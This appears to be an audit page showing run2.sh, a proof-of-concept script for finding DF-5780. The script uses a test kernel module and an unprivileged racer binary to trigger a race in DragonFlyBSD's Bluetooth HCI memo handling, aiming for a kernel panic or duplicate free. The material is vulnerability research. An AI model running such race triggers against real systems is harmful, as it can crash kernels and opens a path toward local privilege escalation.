⬢ DragonFlyBSD Kernel Audit
DF-5780 / run2.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/bin/sh
# DF-5780 run2: BURST-MODE race (synchronous; run as one blocking
# command).  Cycle: build a large memo list via the production inquiry
# path, freeze it, expire ALL of it, then simultaneously release the
# netisr-side walker (event burst -> hci_memo_new -> hci_memo_find)
# and the unprivileged user-side walkers (L2CAP connect ->
# hci_route_lookup -> hci_memo_find).  bluetooth_debug is enabled only
# for the race window: the DPRINTF at hci_misc.c:125 sits between the
# expiry check (:124) and hci_memo_free (:126) and widens the
# collision window.
#
# usage (as root, inside guest): sh run2.sh [cycles] [race_secs]
set -e
cd "$(dirname "$0")"

CYCLES=${1:-5}
RSECS=${2:-25}

kldload ./hci_race_harness.ko 2>/dev/null || true
sysctl hw.hcir_setup=1
sysctl net.bluetooth.hci.memo_expiry=1

install -m 755 race /tmp/race

c=0
while [ $c -lt $CYCLES ]; do
	c=$((c+1))
	echo "== cycle $c/$CYCLES: build list (flood 5s, quiet) =="
	sysctl hw.hcir_flood=1
	sleep 5
	sysctl hw.hcir_flood=0
	sleep 2			# every memo on the list is now EXPIRED
	sysctl hw.hcir_memos=1

	echo "== cycle $c: burst + unprivileged racer ($RSECS s) =="
	sysctl hw.hcir_debug=1
	( sysctl hw.hcir_burst=64 >/dev/null; sysctl hw.hcir_burst=64 >/dev/null; \
	  sysctl hw.hcir_burst=64 >/dev/null ) &
	su -m maxx -c "/tmp/race 6 $RSECS" || echo "(racer exited nonzero)"
	wait
	sysctl hw.hcir_debug=0
	sysctl hw.hcir_memos=1 || true
	sysctl hw.hcir_check_dup=8192 || true
done

echo "== run2 complete: inspect dmesg/console for panic or DUP =="
dmesg | tail -15